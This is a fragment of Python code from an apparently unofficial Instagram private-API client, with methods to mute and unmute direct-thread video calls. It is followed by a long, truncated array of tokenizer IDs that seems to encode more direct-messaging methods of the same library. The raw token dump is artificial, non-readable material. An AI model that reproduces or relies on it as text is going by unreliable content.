self.direct_thread_mute(thread_id, revert=True) def direct_thread_mute_video_call(self, thread_id: int, revert: bool = False) -> bool: """ Mute video call for the thread Parameters ---------- thread_id: int Id of thread revert: bool, optional If muted, whether or not to unmute. Default is False Returns ------- bool A boolean value """ name = "unmute_video_call" if revert else "mute_video_call" result = self.private_request( f"direct_v2/threads/{thread_id}/{name}/", data={'_uuid': self.uuid} ) return result["status"] == "ok" def direct_thread_unmute_video_call(self, thread_id: int) -> bool: """ Unmute video call for the thread Parameters ---------- thread_id: int Id of thread Returns ------- bool A boolean value """ return self.direct_thread_mute_video_call(thread_id, revert=True)
[ 1, 529, 276, 1112, 420, 29958, 11912, 14073, 914, 29914, 2611, 351, 336, 1631, 13, 5215, 4036, 13, 5215, 337, 13, 5215, 931, 13, 3166, 2224, 1982, 1053, 10802, 13, 3166, 19229, 1053, 2391, 13, 13, 3166, 832, 351, 336, 1631, 29889, 11739, 29879, 1053, 12477, 17413, 2392, 29892, 8797, 4899, 17413, 13, 3166, 832, 351, 336, 1631, 29889, 21111, 943, 1053, 313, 13, 1678, 6597, 29918, 11851, 29918, 4906, 29892, 13, 1678, 6597, 29918, 11851, 29918, 5327, 29892, 13, 1678, 6597, 29918, 11851, 29918, 12759, 29918, 7097, 29892, 13, 1678, 6597, 29918, 11851, 29918, 7097, 29892, 13, 29897, 13, 3166, 832, 351, 336, 1631, 29889, 8768, 1053, 313, 13, 1678, 8797, 3728, 29892, 13, 1678, 8797, 5103, 29892, 13, 1678, 8797, 21322, 4899, 29892, 13, 1678, 8797, 4899, 29892, 13, 29897, 13, 3166, 832, 351, 336, 1631, 29889, 13239, 1053, 270, 17204, 13, 13, 13, 1990, 8797, 29924, 861, 262, 29901, 13, 1678, 9995, 13, 1678, 6162, 6774, 363, 767, 6751, 8797, 11946, 6751, 13, 1678, 9995, 13, 13, 1678, 822, 1513, 29918, 28993, 29898, 1311, 29892, 5253, 29901, 938, 353, 29871, 29906, 29900, 29897, 1599, 2391, 29961, 17392, 4899, 5387, 13, 4706, 9995, 13, 4706, 3617, 1513, 2643, 9717, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 5253, 29901, 938, 29892, 13136, 13, 9651, 5918, 12539, 1353, 310, 5745, 304, 736, 29892, 2322, 338, 29871, 29906, 29900, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 2391, 29961, 17392, 4899, 29962, 13, 9651, 319, 1051, 310, 3618, 310, 8797, 4899, 13, 4706, 9995, 13, 4706, 4974, 1583, 29889, 1792, 29918, 333, 29892, 376, 11049, 3734, 29908, 13, 4706, 8636, 353, 426, 13, 9651, 376, 20119, 29918, 4906, 29918, 2457, 29918, 1853, 1115, 376, 348, 28026, 613, 13, 9651, 376, 7097, 29918, 4906, 29918, 13400, 1115, 376, 29896, 29900, 613, 13, 9651, 376, 6774, 9696, 22050, 3460, 1115, 376, 3009, 613, 13, 9651, 376, 13400, 1115, 376, 29906, 29900, 613, 13, 4706, 500, 13, 4706, 10677, 353, 6213, 13, 4706, 9717, 353, 5159, 13, 4706, 1583, 29889, 9053, 29918, 3827, 703, 11851, 29918, 29894, 29906, 29914, 657, 29918, 4569, 663, 29914, 1159, 13, 4706, 1550, 5852, 29901, 13, 9651, 565, 10677, 29901, 13, 18884, 8636, 3366, 18127, 3108, 353, 10677, 13, 9651, 1121, 353, 1583, 29889, 9053, 29918, 3827, 703, 11851, 29918, 29894, 29906, 29914, 262, 1884, 29914, 613, 8636, 29922, 7529, 29897, 13, 9651, 297, 1884, 353, 1121, 29889, 657, 703, 262, 1884, 613, 426, 1800, 13, 9651, 363, 3244, 297, 297, 1884, 29889, 657, 703, 28993, 613, 5159, 1125, 13, 18884, 9717, 29889, 4397, 29898, 21111, 29918, 11851, 29918, 7097, 29898, 7097, 876, 13, 9651, 10677, 353, 297, 1884, 29889, 657, 703, 1025, 342, 29918, 18127, 1159, 13, 9651, 565, 451, 10677, 470, 313, 14506, 322, 7431, 29898, 28993, 29897, 6736, 5253, 1125, 13, 18884, 2867, 13, 4706, 565, 5253, 29901, 13, 9651, 9717, 353, 9717, 7503, 14506, 29962, 13, 4706, 736, 9717, 13, 13, 1678, 822, 1513, 29918, 29886, 2548, 29918, 262, 1884, 29898, 1311, 29892, 5253, 29901, 938, 353, 29871, 29906, 29900, 29897, 1599, 2391, 29961, 17392, 4899, 5387, 13, 4706, 9995, 13, 4706, 3617, 1513, 2643, 28235, 9717, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 5253, 29901, 938, 29892, 13136, 13, 9651, 5918, 12539, 1353, 310, 5745, 304, 736, 29892, 2322, 338, 29871, 29906, 29900, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 2391, 29961, 17392, 4899, 29962, 13, 9651, 319, 1051, 310, 3618, 310, 8797, 4899, 13, 4706, 9995, 13, 4706, 4974, 1583, 29889, 1792, 29918, 333, 29892, 376, 11049, 3734, 29908, 13, 4706, 8636, 353, 426, 13, 9651, 376, 20119, 29918, 4906, 29918, 2457, 29918, 1853, 1115, 376, 348, 28026, 613, 13, 9651, 376, 6774, 9696, 22050, 3460, 1115, 376, 3009, 613, 13, 4706, 500, 13, 4706, 10677, 353, 6213, 13, 4706, 9717, 353, 5159, 13, 4706, 396, 1583, 29889, 9053, 29918, 3827, 703, 11851, 29918, 29894, 29906, 29914, 657, 29918, 4569, 663, 29914, 1159, 13, 4706, 1550, 5852, 29901, 13, 9651, 565, 10677, 29901, 13, 18884, 8636, 3366, 18127, 3108, 353, 10677, 13, 9651, 1121, 353, 1583, 29889, 9053, 29918, 3827, 703, 11851, 29918, 29894, 29906, 29914, 29886, 2548, 29918, 262, 1884, 29914, 613, 8636, 29922, 7529, 29897, 13, 9651, 297, 1884, 353, 1121, 29889, 657, 703, 262, 1884, 613, 426, 1800, 13, 9651, 363, 3244, 297, 297, 1884, 29889, 657, 703, 28993, 613, 5159, 1125, 13, 18884, 9717, 29889, 4397, 29898, 21111, 29918, 11851, 29918, 7097, 29898, 7097, 876, 13, 9651, 10677, 353, 297, 1884, 29889, 657, 703, 1025, 342, 29918, 18127, 1159, 13, 9651, 565, 451, 10677, 470, 313, 14506, 322, 7431, 29898, 28993, 29897, 6736, 5253, 1125, 13, 18884, 2867, 13, 4706, 565, 5253, 29901, 13, 9651, 9717, 353, 9717, 7503, 14506, 29962, 13, 4706, 736, 9717, 13, 13, 1678, 822, 1513, 29918, 7097, 29898, 1311, 29892, 3244, 29918, 333, 29901, 938, 29892, 5253, 29901, 938, 353, 29871, 29906, 29900, 29897, 1599, 8797, 4899, 29901, 13, 4706, 9995, 13, 4706, 3617, 599, 278, 2472, 1048, 263, 8797, 7777, 3244, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 3244, 29918, 333, 29901, 938, 13, 9651, 853, 1387, 15882, 310, 263, 8797, 7777, 3244, 13, 13, 4706, 5253, 29901, 938, 29892, 13136, 13, 9651, 5918, 12539, 1353, 310, 5745, 304, 736, 29892, 2322, 338, 29871, 29906, 29900, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 8797, 4899, 13, 9651, 530, 1203, 310, 8797, 4899, 13, 4706, 9995, 13, 4706, 4974, 1583, 29889, 1792, 29918, 333, 29892, 376, 11049, 3734, 29908, 13, 4706, 8636, 353, 426, 13, 9651, 376, 20119, 29918, 4906, 29918, 2457, 29918, 1853, 1115, 376, 348, 28026, 613, 13, 9651, 376, 20845, 1115, 376, 3194, 613, 13, 9651, 376, 11762, 29918, 333, 1115, 376, 29946, 29900, 29900, 29953, 29945, 613, 29871, 396, 29871, 29945, 29929, 29953, 29953, 29941, 13, 9651, 376, 13400, 1115, 376, 29906, 29900, 613, 13, 4706, 500, 13, 4706, 10677, 353, 6213, 13, 4706, 4452, 353, 5159, 13, 4706, 1550, 5852, 29901, 13, 9651, 565, 10677, 29901, 13, 18884, 8636, 3366, 18127, 3108, 353, 10677, 13, 9651, 1018, 29901, 13, 18884, 1121, 353, 1583, 29889, 9053, 29918, 3827, 29898, 13, 462, 1678, 285, 29908, 11851, 29918, 29894, 29906, 29914, 28993, 19248, 7097, 29918, 333, 6822, 613, 8636, 29922, 7529, 13, 18884, 1723, 13, 9651, 5174, 12477, 17413, 2392, 408, 321, 29901, 13, 18884, 12020, 8797, 4899, 17413, 29898, 29872, 29892, 3244, 29918, 333, 29922, 7097, 29918, 333, 29892, 3579, 1311, 29889, 4230, 29918, 3126, 29897, 13, 9651, 3244, 353, 1121, 3366, 7097, 3108, 13, 9651, 363, 2944, 297, 3244, 3366, 7076, 3108, 29901, 13, 18884, 4452, 29889, 4397, 29898, 667, 29897, 13, 9651, 10677, 353, 3244, 29889, 657, 703, 1025, 342, 29918, 18127, 1159, 13, 9651, 565, 451, 10677, 470, 313, 14506, 322, 7431, 29898, 7076, 29897, 6736, 5253, 1125, 13, 18884, 2867, 13, 4706, 565, 5253, 29901, 13, 9651, 4452, 353, 4452, 7503, 14506, 29962, 13, 4706, 3244, 3366, 7076, 3108, 353, 4452, 13, 4706, 736, 6597, 29918, 11851, 29918, 7097, 29898, 7097, 29897, 13, 13, 1678, 822, 1513, 29918, 19158, 29898, 1311, 29892, 3244, 29918, 333, 29901, 938, 29892, 5253, 29901, 938, 353, 29871, 29906, 29900, 29897, 1599, 2391, 29961, 17392, 3728, 5387, 13, 4706, 9995, 13, 4706, 3617, 599, 278, 7191, 515, 263, 3244, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 3244, 29918, 333, 29901, 938, 13, 9651, 853, 1387, 15882, 310, 263, 8797, 7777, 3244, 13, 13, 4706, 5253, 29901, 938, 29892, 13136, 13, 9651, 5918, 12539, 1353, 310, 5745, 304, 736, 29892, 2322, 338, 29871, 29906, 29900, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 2391, 29961, 17392, 3728, 29962, 13, 9651, 319, 1051, 310, 3618, 310, 8797, 3728, 13, 4706, 9995, 13, 4706, 4974, 1583, 29889, 1792, 29918, 333, 29892, 376, 11049, 3734, 29908, 13, 4706, 736, 1583, 29889, 11851, 29918, 7097, 29898, 7097, 29918, 333, 29892, 5253, 467, 19158, 13, 13, 1678, 822, 1513, 29918, 12011, 29898, 1311, 29892, 3244, 29918, 333, 29901, 938, 29892, 1426, 29901, 851, 29897, 1599, 8797, 3728, 29901, 13, 4706, 9995, 13, 4706, 4918, 263, 2643, 373, 263, 8797, 7777, 3244, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 3244, 29918, 333, 29901, 938, 13, 9651, 853, 1387, 15882, 310, 263, 8797, 7777, 3244, 13, 13, 4706, 1426, 29901, 851, 13, 9651, 1714, 304, 367, 8059, 373, 278, 3244, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 8797, 3728, 13, 9651, 530, 1203, 310, 8797, 3728, 13, 4706, 9995, 13, 4706, 4974, 1583, 29889, 1792, 29918, 333, 29892, 376, 11049, 3734, 29908, 13, 4706, 736, 1583, 29889, 11851, 29918, 6717, 29898, 726, 29892, 19997, 518, 524, 29898, 7097, 29918, 333, 29897, 2314, 13, 13, 1678, 822, 1513, 29918, 6717, 29898, 1311, 29892, 1426, 29901, 851, 29892, 1404, 29918, 4841, 29901, 2391, 29961, 524, 29962, 353, 19997, 3244, 29918, 4841, 29901, 2391, 29961, 524, 29962, 353, 518, 2314, 1599, 8797, 3728, 29901, 13, 4706, 9995, 13, 4706, 15076, 263, 1513, 2643, 304, 1051, 310, 4160, 470, 9717, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 1426, 29901, 851, 13, 9651, 1714, 304, 367, 8059, 373, 278, 3244, 13, 13, 4706, 1404, 29918, 4841, 29901, 2391, 29961, 524, 29962, 13, 9651, 2391, 310, 5412, 15882, 310, 23861, 1178, 13, 13, 4706, 3244, 29918, 4841, 29901, 2391, 29961, 524, 29962, 13, 9651, 2391, 310, 5412, 15882, 310, 8797, 7777, 3244, 1178, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 8797, 3728, 13, 9651, 530, 1203, 310, 8797, 3728, 13, 4706, 9995, 13, 4706, 4974, 1583, 29889, 1792, 29918, 333, 29892, 376, 11049, 3734, 29908, 13, 4706, 4974, 313, 1792, 29918, 4841, 470, 3244, 29918, 4841, 29897, 322, 451, 313, 1792, 29918, 4841, 322, 3244, 29918, 4841, 511, 376, 10299, 1598, 1404, 29918, 4841, 470, 3244, 29918, 4841, 29892, 541, 451, 1716, 29908, 13, 4706, 1158, 353, 376, 726, 29908, 13, 4706, 5993, 353, 1583, 29889, 17158, 29918, 6149, 362, 29918, 6979, 580, 13, 4706, 9049, 5085, 353, 426, 13, 9651, 376, 2467, 1115, 376, 6717, 29918, 667, 613, 13, 9651, 376, 275, 29918, 845, 29882, 29918, 8513, 1115, 376, 29900, 613, 13, 9651, 376, 6717, 29918, 1131, 3224, 1115, 376, 11851, 29918, 7097, 613, 13, 9651, 376, 4645, 29918, 4703, 1115, 5993, 29892, 13, 9651, 376, 6149, 362, 29918, 6979, 1115, 5993, 29892, 13, 9651, 376, 6654, 29918, 14153, 1115, 376, 29896, 29939, 29911, 29901, 18798, 29918, 9346, 5570, 29901, 29896, 29892, 29896, 29939, 29911, 29901, 18798, 29918, 9346, 5570, 29901, 29906, 29892, 29896, 29939, 29911, 29901, 18798, 29918, 9346, 5570, 29901, 29941, 29892, 29955, 16748, 29901, 11851, 29918, 262, 1884, 29901, 29946, 29892, 29955, 16748, 29901, 11851, 29918, 262, 1884, 29901, 29945, 29892, 29945, 29878, 29954, 29901, 11851, 29918, 7097, 29901, 29955, 613, 13, 9651, 376, 2696, 1220, 29918, 7097, 292, 29918, 333, 1115, 5993, 29892, 13, 4706, 500, 13, 4706, 565, 376, 1124, 29908, 297, 1426, 29901, 13, 9651, 1158, 353, 376, 2324, 29908, 13, 9651, 9049, 5085, 3366, 2324, 29918, 726, 3108, 353, 1426, 13, 9651, 9049, 5085, 3366, 2324, 29918, 26045, 3108, 353, 270, 17204, 29898, 276, 29889, 2886, 497, 29898, 29878, 29908, 29898, 991, 29973, 597, 29961, 3823, 29879, 10062, 19123, 1426, 876, 13, 4706, 1683, 29901, 13, 9651, 9049, 5085, 3366, 726, 3108, 353, 1426, 13, 4706, 565, 3244, 29918, 4841, 29901, 13, 9651, 9049, 5085, 3366, 7097, 29918, 4841, 3108, 353, 270, 17204, 4197, 524, 29898, 17681, 29897, 363, 10668, 297, 3244, 29918, 4841, 2314, 13, 4706, 565, 1404, 29918, 4841, 29901, 13, 9651, 9049, 5085, 3366, 4361, 29886, 993, 29918, 7193, 3108, 353, 270, 17204, 4197, 29961, 524, 29898, 5416, 29897, 363, 318, 333, 297, 1404, 29918, 4841, 24960, 13, 4706, 1121, 353, 1583, 29889, 9053, 29918, 3827, 29898, 13, 9651, 285, 29908, 11851, 29918, 29894, 29906, 29914, 28993, 29914, 6729, 328, 4384, 19248, 5696, 6822, 613, 13, 9651, 848, 29922, 1311, 29889, 2541, 29918, 4381, 29918, 1272, 29898, 19290, 511, 13, 9651, 411, 29918, 4530, 1535, 29922, 8824, 13, 4706, 1723, 13, 4706, 736, 6597, 29918, 11851, 29918, 4906, 29898, 2914, 3366, 23813, 20068, 13, 13, 1678, 822, 1513, 29918, 6717, 29918, 21596, 29898, 1311, 29892, 2224, 29901, 10802, 29892, 1404, 29918, 4841, 29901, 2391, 29961, 524, 29962, 353, 19997, 3244, 29918, 4841, 29901, 2391, 29961, 524, 29962, 353, 518, 2314, 1599, 8797, 3728, 29901, 13, 4706, 9995, 13, 4706, 15076, 263, 1513, 15373, 304, 1051, 310, 4160, 470, 9717, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 2224, 29901, 10802, 13, 9651, 10802, 304, 15373, 393, 674, 367, 8059, 373, 278, 3244, 13, 4706, 1404, 29918, 4841, 29901, 2391, 29961, 524, 29962, 13, 9651, 2391, 310, 5412, 15882, 310, 23861, 1178, 13, 4706, 3244, 29918, 4841, 29901, 2391, 29961, 524, 29962, 13, 9651, 2391, 310, 5412, 15882, 310, 8797, 7777, 3244, 1178, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 8797, 3728, 13, 9651, 530, 1203, 310, 8797, 3728, 13, 4706, 9995, 13, 4706, 736, 1583, 29889, 11851, 29918, 6717, 29918, 1445, 29898, 2084, 29892, 1404, 29918, 4841, 29892, 3244, 29918, 4841, 29892, 2793, 29918, 1853, 2433, 21596, 1495, 13, 13, 1678, 822, 1513, 29918, 6717, 29918, 9641, 29898, 1311, 29892, 2224, 29901, 10802, 29892, 1404, 29918, 4841, 29901, 2391, 29961, 524, 29962, 353, 19997, 3244, 29918, 4841, 29901, 2391, 29961, 524, 29962, 353, 518, 2314, 1599, 8797, 3728, 29901, 13, 4706, 9995, 13, 4706, 15076, 263, 1513, 4863, 304, 1051, 310, 4160, 470, 9717, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 2224, 29901, 10802, 13, 9651, 10802, 304, 4863, 393, 674, 367, 8059, 373, 278, 3244, 13, 4706, 1404, 29918, 4841, 29901, 2391, 29961, 524, 29962, 13, 9651, 2391, 310, 5412, 15882, 310, 23861, 1178, 13, 4706, 3244, 29918, 4841, 29901, 2391, 29961, 524, 29962, 13, 9651, 2391, 310, 5412, 15882, 310, 8797, 7777, 3244, 1178, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 8797, 3728, 13, 9651, 530, 1203, 310, 8797, 3728, 13, 4706, 9995, 13, 4706, 736, 1583, 29889, 11851, 29918, 6717, 29918, 1445, 29898, 2084, 29892, 1404, 29918, 4841, 29892, 3244, 29918, 4841, 29892, 2793, 29918, 1853, 2433, 9641, 1495, 13, 13, 1678, 822, 1513, 29918, 6717, 29918, 1445, 29898, 1311, 29892, 2224, 29901, 10802, 29892, 1404, 29918, 4841, 29901, 2391, 29961, 524, 29962, 353, 19997, 3244, 29918, 4841, 29901, 2391, 29961, 524, 29962, 353, 19997, 2793, 29918, 1853, 29901, 851, 353, 525, 21596, 1495, 1599, 8797, 3728, 29901, 13, 4706, 9995, 13, 4706, 15076, 263, 1513, 934, 304, 1051, 310, 4160, 470, 9717, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 2224, 29901, 10802, 13, 9651, 10802, 304, 934, 393, 674, 367, 8059, 373, 278, 3244, 13, 4706, 1404, 29918, 4841, 29901, 2391, 29961, 524, 29962, 13, 9651, 2391, 310, 5412, 15882, 310, 23861, 1178, 13, 4706, 3244, 29918, 4841, 29901, 2391, 29961, 524, 29962, 13, 9651, 2391, 310, 5412, 15882, 310, 8797, 7777, 3244, 1178, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 8797, 3728, 13, 9651, 530, 1203, 310, 8797, 3728, 13, 4706, 9995, 13, 4706, 4974, 1583, 29889, 1792, 29918, 333, 29892, 376, 11049, 3734, 29908, 13, 4706, 4974, 313, 1792, 29918, 4841, 470, 3244, 29918, 4841, 29897, 322, 451, 313, 1792, 29918, 4841, 322, 3244, 29918, 4841, 511, 376, 10299, 1598, 1404, 29918, 4841, 470, 3244, 29918, 4841, 29892, 541, 451, 1716, 29908, 13, 4706, 1158, 353, 285, 29908, 17591, 648, 3051, 29918, 1853, 5038, 13, 4706, 5993, 353, 1583, 29889, 17158, 29918, 6149, 362, 29918, 6979, 580, 13, 4706, 6283, 29918, 305, 2708, 353, 518, 13, 9651, 376, 29953, 29916, 29984, 29901, 11851, 29918, 9799, 29918, 13908, 29918, 561, 15788, 29918, 20777, 29901, 29896, 29892, 29945, 29878, 29954, 29901, 11851, 29918, 7097, 29901, 29906, 29892, 29945, 2303, 29901, 11851, 29918, 24561, 29918, 26065, 29918, 20777, 29901, 29941, 29892, 29945, 2303, 29901, 11851, 29918, 24561, 29918, 26065, 29918, 20777, 29901, 29946, 29892, 29946, 4900, 29901, 276, 295, 29918, 22410, 261, 29918, 25347, 29901, 29945, 29892, 29945, 29878, 29954, 29901, 11851, 29918, 7097, 29901, 29953, 29892, 29945, 29878, 29954, 29901, 11851, 29918, 7097, 29901, 29955, 29892, 29953, 29916, 29984, 29901, 11851, 29918, 9799, 29918, 13908, 29918, 561, 15788, 29918, 20777, 29901, 29947, 29892, 29945, 29878, 29954, 29901, 11851, 29918, 7097, 29901, 29929, 613, 13, 9651, 376, 29896, 29939, 29911, 29901, 18798, 29918, 9346, 5570, 29901, 29896, 29892, 29955, 16748, 29901, 11851, 29918, 262, 1884, 29901, 29906, 29892, 29955, 16748, 29901, 11851, 29918, 262, 1884, 29901, 29941, 29892, 29945, 29878, 29954, 29901, 11851, 29918, 7097, 29901, 29946, 29892, 29953, 29916, 29984, 29901, 11851, 29918, 9799, 29918, 13908, 29918, 561, 15788, 29918, 20777, 29901, 29945, 29892, 29945, 29878, 29954, 29901, 11851, 29918, 7097, 29901, 29953, 29892, 29945, 29878, 29954, 29901, 11851, 29918, 7097, 29901, 29955, 29892, 29953, 29916, 29984, 29901, 11851, 29918, 9799, 29918, 13908, 29918, 561, 15788, 29918, 20777, 29901, 29947, 29892, 29945, 29878, 29954, 29901, 11851, 29918, 7097, 29901, 29929, 613, 13, 4706, 4514, 13, 4706, 9049, 5085, 353, 6571, 13, 4706, 848, 353, 426, 13, 9651, 376, 2467, 1115, 376, 6717, 29918, 667, 613, 13, 9651, 376, 275, 29918, 845, 29882, 29918, 8513, 1115, 376, 29900, 613, 13, 9651, 376, 6717, 29918, 1131, 3224, 1115, 376, 11851, 29918, 7097, 613, 13, 9651, 376, 4645, 29918, 4703, 1115, 5993, 29892, 13, 9651, 376, 6149, 362, 29918, 6979, 1115, 5993, 29892, 13, 9651, 376, 6654, 29918, 14153, 1115, 4036, 29889, 1859, 1575, 29898, 6654, 29918, 305, 2708, 511, 13, 9651, 376, 2696, 1220, 29918, 7097, 292, 29918, 333, 1115, 5993, 29892, 13, 4706, 500, 13, 4706, 565, 2793, 29918, 1853, 1275, 376, 9641, 1115, 13, 9651, 848, 3366, 9641, 29918, 2914, 3108, 353, 5124, 13, 9651, 9049, 5085, 3366, 517, 29918, 11851, 3108, 353, 5852, 13, 4706, 565, 2793, 29918, 1853, 1275, 376, 21596, 1115, 13, 9651, 848, 3366, 6717, 29918, 1131, 3224, 3108, 353, 376, 262, 1884, 29908, 13, 9651, 848, 3366, 9536, 29918, 8159, 29918, 294, 1103, 29918, 3605, 601, 3108, 353, 376, 3009, 29908, 13, 4706, 565, 1404, 29918, 4841, 29901, 13, 9651, 848, 3366, 4361, 29886, 993, 29918, 7193, 3108, 353, 270, 17204, 4197, 29961, 524, 29898, 5416, 29897, 363, 318, 333, 297, 1404, 29918, 4841, 24960, 13, 4706, 565, 3244, 29918, 4841, 29901, 13, 9651, 848, 3366, 7097, 29918, 4841, 3108, 353, 270, 17204, 4197, 524, 29898, 17681, 29897, 363, 10668, 297, 3244, 29918, 4841, 2314, 13, 4706, 2224, 353, 10802, 29898, 2084, 29897, 13, 4706, 6441, 29918, 333, 353, 851, 29898, 524, 29898, 2230, 29889, 2230, 580, 334, 29871, 29896, 29900, 29900, 29900, 876, 13, 4706, 6441, 29918, 333, 29892, 2920, 29892, 3171, 353, 679, 5552, 29898, 1311, 29892, 285, 29915, 29912, 3051, 29918, 1853, 2403, 17827, 1359, 1495, 29898, 2084, 29892, 6441, 29918, 333, 29892, 3579, 19290, 29897, 7503, 29941, 29962, 13, 4706, 848, 1839, 9009, 29918, 333, 2033, 353, 6441, 29918, 333, 13, 4706, 396, 848, 1839, 3051, 29918, 1853, 2033, 353, 2793, 29918, 1853, 13, 4706, 1121, 353, 1583, 29889, 9053, 29918, 3827, 29898, 13, 9651, 285, 29908, 11851, 29918, 29894, 29906, 29914, 28993, 29914, 6729, 328, 4384, 19248, 5696, 6822, 613, 13, 9651, 848, 29922, 1311, 29889, 2541, 29918, 4381, 29918, 1272, 29898, 1272, 511, 13, 9651, 411, 29918, 4530, 1535, 29922, 8824, 29892, 13, 4706, 1723, 13, 4706, 736, 6597, 29918, 11851, 29918, 4906, 29898, 2914, 3366, 23813, 20068, 13, 13, 1678, 822, 1513, 29918, 6717, 29918, 28026, 29898, 1311, 29892, 3244, 29918, 333, 29901, 938, 29897, 1599, 8797, 5103, 29901, 13, 4706, 9995, 13, 4706, 15076, 3595, 304, 3244, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 3244, 29918, 333, 29901, 938, 13, 9651, 5163, 310, 3244, 607, 7191, 674, 367, 1303, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 9651, 530, 1203, 310, 8797, 5103, 13, 4706, 9995, 13, 4706, 848, 353, 6571, 13, 13, 4706, 3244, 353, 1583, 29889, 11851, 29918, 7097, 29898, 7097, 29918, 333, 29922, 7097, 29918, 333, 29897, 13, 4706, 1121, 353, 1583, 29889, 9053, 29918, 3827, 29898, 13, 9651, 285, 29908, 11851, 29918, 29894, 29906, 29914, 28993, 19248, 7097, 29918, 333, 6822, 7076, 19248, 7097, 29889, 19158, 29961, 29900, 1822, 333, 6822, 28026, 29914, 613, 13, 9651, 848, 29922, 1311, 29889, 2541, 29918, 4381, 29918, 1272, 29898, 1272, 511, 13, 9651, 411, 29918, 4530, 1535, 29922, 8824, 29892, 13, 4706, 1723, 13, 4706, 736, 6597, 29918, 11851, 29918, 5327, 29898, 2914, 29897, 13, 13, 1678, 822, 1513, 29918, 4478, 29898, 1311, 29892, 2346, 29901, 851, 29897, 1599, 2391, 29961, 17392, 21322, 4899, 5387, 13, 4706, 9995, 13, 4706, 11856, 9717, 491, 2346, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 2346, 29901, 1714, 13, 9651, 3992, 2346, 29892, 321, 29889, 29887, 29889, 8952, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 2391, 29961, 17392, 21322, 4899, 29962, 13, 9651, 2391, 310, 3273, 1873, 310, 8797, 4899, 13, 4706, 9995, 13, 4706, 1121, 353, 1583, 29889, 9053, 29918, 3827, 29898, 13, 9651, 376, 11851, 29918, 29894, 29906, 29914, 10003, 287, 29918, 4361, 29886, 10070, 29914, 613, 13, 9651, 8636, 3790, 29908, 8513, 1115, 376, 336, 854, 613, 376, 4294, 29918, 28993, 1115, 376, 3009, 613, 376, 1972, 1115, 851, 29898, 1972, 2915, 13, 4706, 1723, 13, 4706, 736, 518, 13, 9651, 6597, 29918, 11851, 29918, 12759, 29918, 7097, 29898, 667, 29889, 657, 877, 7097, 742, 6571, 876, 13, 9651, 363, 2944, 297, 1121, 29889, 657, 877, 10003, 287, 29918, 4361, 29886, 10070, 742, 518, 2314, 13, 9651, 565, 525, 7097, 29915, 297, 2944, 13, 4706, 4514, 13, 13, 1678, 822, 1513, 29918, 7097, 29918, 1609, 29918, 1595, 12654, 1934, 29898, 1311, 29892, 1404, 29918, 4841, 29901, 2391, 29961, 524, 2314, 1599, 8797, 4899, 29901, 13, 4706, 9995, 13, 4706, 3617, 1513, 3244, 491, 27138, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 1404, 29918, 4841, 29901, 2391, 29961, 524, 29962, 13, 9651, 2391, 310, 5412, 15882, 310, 23861, 1178, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 8797, 4899, 13, 9651, 530, 1203, 310, 8797, 4899, 13, 4706, 9995, 13, 4706, 23957, 993, 29918, 7193, 353, 270, 17204, 4197, 524, 29898, 5416, 29897, 363, 318, 333, 297, 1404, 29918, 4841, 2314, 13, 4706, 1121, 353, 1583, 29889, 9053, 29918, 3827, 29898, 13, 9651, 376, 11851, 29918, 29894, 29906, 29914, 28993, 29914, 657, 29918, 1609, 29918, 1595, 12654, 1934, 29914, 613, 13, 9651, 8636, 3790, 29908, 4361, 29886, 993, 29918, 7193, 1115, 23957, 993, 29918, 7193, 29892, 376, 11762, 29918, 333, 1115, 29871, 29906, 29945, 29947, 29900, 29945, 29955, 29906, 29892, 376, 13400, 1115, 29871, 29906, 29900, 29913, 13, 4706, 1723, 13, 4706, 565, 525, 7097, 29915, 451, 297, 1121, 29901, 13, 9651, 12020, 8797, 4899, 17413, 29898, 13, 18884, 285, 29915, 4899, 451, 1476, 491, 23957, 993, 29918, 7193, 3790, 4361, 29886, 993, 29918, 7193, 29913, 742, 13, 18884, 1404, 29918, 4841, 29922, 1792, 29918, 4841, 29892, 13, 18884, 3579, 1311, 29889, 4230, 29918, 3126, 13, 9651, 1723, 13, 4706, 736, 6597, 29918, 11851, 29918, 7097, 29898, 2914, 1839, 7097, 11287, 13, 13, 1678, 822, 1513, 29918, 7097, 29918, 11458, 29898, 1311, 29892, 3244, 29918, 333, 29901, 938, 29897, 1599, 6120, 29901, 13, 4706, 9995, 13, 4706, 379, 680, 313, 8143, 29897, 263, 3244, 13, 4706, 1932, 366, 2828, 5217, 29892, 2799, 14442, 298, 2247, 263, 3244, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 3244, 29918, 333, 29901, 938, 13, 9651, 5163, 310, 3244, 607, 7191, 674, 367, 1303, 13, 13, 4706, 16969, 13, 4706, 448, 22158, 13, 4706, 6120, 13, 9651, 319, 7223, 995, 13, 4706, 9995, 13, 4706, 848, 353, 1583, 29889, 2541, 29918, 4381, 29918, 1272, 3319, 1800, 13, 4706, 848, 29889, 7323, 877, 29918, 5416, 742, 6213, 29897, 13, 4706, 848, 29889, 7323, 